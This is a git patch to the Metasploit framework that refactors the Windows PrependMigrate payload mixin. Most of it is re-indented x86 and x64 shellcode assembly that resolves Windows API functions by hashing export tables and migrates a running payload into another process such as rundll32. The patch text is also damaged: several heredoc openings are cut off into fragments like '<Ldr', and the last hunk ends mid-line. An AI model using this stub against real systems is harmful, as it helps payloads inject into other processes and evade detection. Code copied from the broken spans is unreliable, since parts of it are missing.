From 32aa2c6d9c7ef65c385b76b887b81323925a1a6f Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 22 Jan 2013 13:25:27 -0600 Subject: [PATCH] Make asm spacing easier to read Also adds a #prepends callback to Payload::Windows to make it a little clearer what's happening. --- lib/msf/core/exploit.rb | 9 - lib/msf/core/payload/windows.rb | 14 +- .../core/payload/windows/prependmigrate.rb | 769 +++++++++--------- 3 files changed, 400 insertions(+), 392 deletions(-) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index c09ff83cbe..6d2afc913d 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -1242,15 +1242,6 @@ class Exploit < Msf::Module not datastore['DisablePayloadHandler'] end - # - # Returns the state of the PrependMigrate option - # See https://github.com/rapid7/metasploit-framework/pull/917 - # for discussion. - # - def prepend_migrate? - !!(datastore['PrependMigrate'] && datastore['PrependMigrate'].to_s.downcase == 'true') - end - ## # # Handler interaction diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 55475251a0..78edd966ad 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -12,7 +12,7 @@ require 'msf/core/payload/windows/prependmigrate' ### module Msf::Payload::Windows - include Msf::Payload::PrependMigrate + include Msf::Payload::Windows::PrependMigrate # # ROR hash associations for some of the exit technique routines. @@ -25,6 +25,18 @@ module Msf::Payload::Windows 'none' => 0x5DE2C5AA, # GetLastError } + + # @abstract Override to add additional stubs to prepend to the final + # shellcode. Be sure to call super so other modules may add stubs. + # @return [String] Stub to place at the begginning of generated shellcode + def prepends + "" + end + + def generate(*args) + return prepends + super + end + # # This mixin is chained within payloads that target the Windows platform. # It provides special variable substitution for things like EXITFUNC and diff --git a/lib/msf/core/payload/windows/prependmigrate.rb b/lib/msf/core/payload/windows/prependmigrate.rb index ca63ae3f2e..a1c8c6b2d7 100644 --- a/lib/msf/core/payload/windows/prependmigrate.rb +++ b/lib/msf/core/payload/windows/prependmigrate.rb @@ -5,7 +5,7 @@ require 'msf/core' # This mixin provides support for generating PrependMigrate blocks for Windows payloads # ### -module Msf::Payload::PrependMigrate +module Msf::Payload::Windows::PrependMigrate # # Initialize @@ -21,27 +21,32 @@ module Msf::Payload::PrependMigrate ret end + # + # Returns the state of the PrependMigrate option + # See https://github.com/rapid7/metasploit-framework/pull/917 + # for discussion. + # + def prepend_migrate? + !!(datastore['PrependMigrate'] && datastore['PrependMigrate'].to_s.downcase == 'true') + end + # # Overload the generate() call to prefix our stubs # - def generate(*args) + def prepends # Call the real generator to get the payload - buf = super(*args) + buf = super pre = '' test_arch = [ *(self.arch) ] - # Handle all x86 code here - if test_arch.include?(ARCH_X86) - # PrependMigrate - if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true' + if prepend_migrate? + # Handle all x86 code here + if test_arch.include?(ARCH_X86) migrate_asm = prepend_migrate(buf) pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string - end - # Handle all x64 code here - elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64) - # PrependMigrate - if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true' + # Handle all x64 code here + elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64) migrate_asm = prepend_migrate_64(buf) pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string end @@ -57,96 +62,96 @@ module Msf::Payload::PrependMigrate procname = datastore['PrependMigrateProc'] || 'rundll32' # Prepare instructions to get address of block_api into ebp - block_api_start = <Ldr - mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list -next_mod: ; - mov esi, [edx+40] ; Get pointer to modules name (unicode string) - movzx ecx, word [edx+38] ; Set ECX to the length we want to check - xor edi, edi ; Clear EDI which will store the hash of the module name -loop_modname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase -not_lowercase: ; - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - loop loop_modname ; Loop untill we have read enough - ; We now have the module hash computed - push edx ; Save the current position in the module list for later - push edi ; Save the current module hash for later - ; Proceed to iterate the export address table - mov edx, [edx+16] ; Get this modules base address - mov eax, [edx+60] ; Get PE header - add eax, edx ; Add the modules base address - mov eax, [eax+120] ; Get export tables RVA - test eax, eax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add eax, edx ; Add the modules base address - push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names - mov ebx, [eax+32] ; Get the rva of the function names - add ebx, edx ; Add the modules base address - ; Computing the module hash + function hash -get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - dec ecx ; Decrement the function name counter - mov esi, [ebx+ecx*4] ; Get rva of next module name - add esi, edx ; Add the modules base address - xor edi, edi ; Clear EDI which will store the hash of the function name - ; And compare it to the one we want -loop_funcname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the ASCII function name - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva - add ebx, edx ; Add the modules base address - mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; Get the function addresses table rva - add ebx, edx ; Add the modules base address - mov eax, [ebx+4*ecx] ; Get the desired functions RVA - add eax, edx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the desired function... -finish: - mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad - pop ebx ; Clear off the current modules hash - pop ebx ; Clear off the current position in the module list - popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered - pop ecx ; Pop off the origional return address our caller will have pushed - pop edx ; Pop off the hash value our caller will have pushed - push ecx ; Push back the correct return value - jmp eax ; Jump into the required function - ; We now automagically return to the correct caller... -get_next_mod: ; - pop eax ; Pop off the current (now the previous) modules EAT -get_next_mod1: ; - pop edi ; Pop off the current (now the previous) modules hash - pop edx ; Restore our position in the module list - mov edx, [edx] ; Get the next module - jmp.i8 next_mod ; Process this module -;-------------------------------------------------------------------------------------- -EOS - block_api_ebp_asm = <Ldr + mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list + next_mod: ; + mov esi, [edx+40] ; Get pointer to modules name (unicode string) + movzx ecx, word [edx+38] ; Set ECX to the length we want to check + xor edi, edi ; Clear EDI which will store the hash of the module name + loop_modname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase + not_lowercase: ; + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed + push edx ; Save the current position in the module list for later + push edi ; Save the current module hash for later + ; Proceed to iterate the export address table + mov edx, [edx+16] ; Get this modules base address + mov eax, [edx+60] ; Get PE header + add eax, edx ; Add the modules base address + mov eax, [eax+120] ; Get export tables RVA + test eax, eax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add eax, edx ; Add the modules base address + push eax ; Save the current modules EAT + mov ecx, [eax+24] ; Get the number of function names + mov ebx, [eax+32] ; Get the rva of the function names + add ebx, edx ; Add the modules base address + ; Computing the module hash + function hash + get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec ecx ; Decrement the function name counter + mov esi, [ebx+ecx*4] ; Get rva of next module name + add esi, edx ; Add the modules base address + xor edi, edi ; Clear EDI which will store the hash of the function name + ; And compare it to the one we want + loop_funcname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the ASCII function name + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add edi, [ebp-8] ; Add the current module hash to the function hash + cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop eax ; Restore the current modules EAT + mov ebx, [eax+36] ; Get the ordinal table rva + add ebx, edx ; Add the modules base address + mov cx, [ebx+2*ecx] ; Get the desired functions ordinal + mov ebx, [eax+28] ; Get the function addresses table rva + add ebx, edx ; Add the modules base address + mov eax, [ebx+4*ecx] ; Get the desired functions RVA + add eax, edx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the desired function... + finish: + mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad + pop ebx ; Clear off the current modules hash + pop ebx ; Clear off the current position in the module list + popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered + pop ecx ; Pop off the origional return address our caller will have pushed + pop edx ; Pop off the hash value our caller will have pushed + push ecx ; Push back the correct return value + jmp eax ; Jump into the required function + ; We now automagically return to the correct caller... + get_next_mod: ; + pop eax ; Pop off the current (now the previous) modules EAT + get_next_mod1: ; + pop edi ; Pop off the current (now the previous) modules hash + pop edx ; Restore our position in the module list + mov edx, [edx] ; Get the next module + jmp.i8 next_mod ; Process this module + ;-------------------------------------------------------------------------------------- + EOS + block_api_ebp_asm = <<-EOS + pop ebp ; Pop off the address of 'api_call' for calling later. + EOS block_close_to_payload = '' # Check if we can find block_api in the payload @@ -156,114 +161,114 @@ EOS # Prepare instructions to calculate address ebp_offset = "0x%04x" % (block_api_index + 5) - block_api_ebp_asm = <Ldr - mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list -next_mod: ; - mov rsi, [rdx+80] ; Get pointer to modules name (unicode string) - movzx rcx, word [rdx+74] ; Set rcx to the length we want to check - xor r9, r9 ; Clear r9 which will store the hash of the module name -loop_modname: ; - xor rax, rax ; Clear rax - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase -not_lowercase: ; - ror r9d, 13 ; Rotate right our hash value - add r9d, eax ; Add the next byte of the name - loop loop_modname ; Loop untill we have read enough - ; We now have the module hash computed - push rdx ; Save the current position in the module list for later - push r9 ; Save the current module hash for later - ; Proceed to itterate the export address table - mov rdx, [rdx+32] ; Get this modules base address - mov eax, dword [rdx+60] ; Get PE header - add rax, rdx ; Add the modules base address - mov eax, dword [rax+136] ; Get export tables RVA - test rax, rax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add rax, rdx ; Add the modules base address - push rax ; Save the current modules EAT - mov ecx, dword [rax+24] ; Get the number of function names - mov r8d, dword [rax+32] ; Get the rva of the function names - add r8, rdx ; Add the modules base address - ; Computing the module hash + function hash -get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - dec rcx ; Decrement the function name counter - mov esi, dword [r8+rcx*4]; Get rva of next module name - add rsi, rdx ; Add the modules base address - xor r9, r9 ; Clear r9 which will store the hash of the function name - ; And compare it to the one we want -loop_funcname: ; - xor rax, rax ; Clear rax - lodsb ; Read in the next byte of the ASCII function name - ror r9d, 13 ; Rotate right our hash value - add r9d, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add r9, [rsp+8] ; Add the current module hash to the function hash - cmp r9d, r10d ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - pop rax ; Restore the current modules EAT - mov r8d, dword [rax+36] ; Get the ordinal table rva - add r8, rdx ; Add the modules base address - mov cx, [r8+2*rcx] ; Get the desired functions ordinal - mov r8d, dword [rax+28] ; Get the function addresses table rva - add r8, rdx ; Add the modules base address - mov eax, dword [r8+4*rcx]; Get the desired functions RVA - add rax, rdx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the drsired function... -finish: - pop r8 ; Clear off the current modules hash - pop r8 ; Clear off the current position in the module list - pop rsi ; Restore RSI - pop rcx ; Restore the 1st parameter - pop rdx ; Restore the 2nd parameter - pop r8 ; Restore the 3rd parameter - pop r9 ; Restore the 4th parameter - pop r10 ; pop off the return address - sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32) - ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). - push r10 ; push back the return address - jmp rax ; Jump into the required function - ; We now automagically return to the correct caller... -get_next_mod: ; - pop rax ; Pop off the current (now the previous) modules EAT -get_next_mod1: ; - pop r9 ; Pop off the current (now the previous) modules hash - pop rdx ; Restore our position in the module list - mov rdx, [rdx] ; Get the next module - jmp next_mod ; Process this module -EOS - block_api_rbp_asm = <Ldr + mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list + next_mod: ; + mov rsi, [rdx+80] ; Get pointer to modules name (unicode string) + movzx rcx, word [rdx+74] ; Set rcx to the length we want to check + xor r9, r9 ; Clear r9 which will store the hash of the module name + loop_modname: ; + xor rax, rax ; Clear rax + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase + not_lowercase: ; + ror r9d, 13 ; Rotate right our hash value + add r9d, eax ; Add the next byte of the name + loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed + push rdx ; Save the current position in the module list for later + push r9 ; Save the current module hash for later + ; Proceed to itterate the export address table + mov rdx, [rdx+32] ; Get this modules base address + mov eax, dword [rdx+60] ; Get PE header + add rax, rdx ; Add the modules base address + mov eax, dword [rax+136] ; Get export tables RVA + test rax, rax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add rax, rdx ; Add the modules base address + push rax ; Save the current modules EAT + mov ecx, dword [rax+24] ; Get the number of function names + mov r8d, dword [rax+32] ; Get the rva of the function names + add r8, rdx ; Add the modules base address + ; Computing the module hash + function hash + get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec rcx ; Decrement the function name counter + mov esi, dword [r8+rcx*4]; Get rva of next module name + add rsi, rdx ; Add the modules base address + xor r9, r9 ; Clear r9 which will store the hash of the function name + ; And compare it to the one we want + loop_funcname: ; + xor rax, rax ; Clear rax + lodsb ; Read in the next byte of the ASCII function name + ror r9d, 13 ; Rotate right our hash value + add r9d, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add r9, [rsp+8] ; Add the current module hash to the function hash + cmp r9d, r10d ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop rax ; Restore the current modules EAT + mov r8d, dword [rax+36] ; Get the ordinal table rva + add r8, rdx ; Add the modules base address + mov cx, [r8+2*rcx] ; Get the desired functions ordinal + mov r8d, dword [rax+28] ; Get the function addresses table rva + add r8, rdx ; Add the modules base address + mov eax, dword [r8+4*rcx]; Get the desired functions RVA + add rax, rdx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the drsired function... + finish: + pop r8 ; Clear off the current modules hash + pop r8 ; Clear off the current position in the module list + pop rsi ; Restore RSI + pop rcx ; Restore the 1st parameter + pop rdx ; Restore the 2nd parameter + pop r8 ; Restore the 3rd parameter + pop r9 ; Restore the 4th parameter + pop r10 ; pop off the return address + sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32) + ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). + push r10 ; push back the return address + jmp rax ; Jump into the required function + ; We now automagically return to the correct caller... + get_next_mod: ; + pop rax ; Pop off the current (now the previous) modules EAT + get_next_mod1: ; + pop r9 ; Pop off the current (now the previous) modules hash + pop rdx ; Restore our position in the module list + mov rdx, [rdx] ; Get the next module + jmp next_mod ; Process this module + EOS + block_api_rbp_asm = <<-EOS + pop rbp ; Pop off the address of 'api_call' for calling later. + EOS block_close_to_payload = '' # Check if we can find block_api in the payload @@ -378,112 +383,112 @@ EOS # Prepare instructions to calculate address rbp_offset = "0x%04x" % (block_api_index + 5) - block_api_rbp_asm = <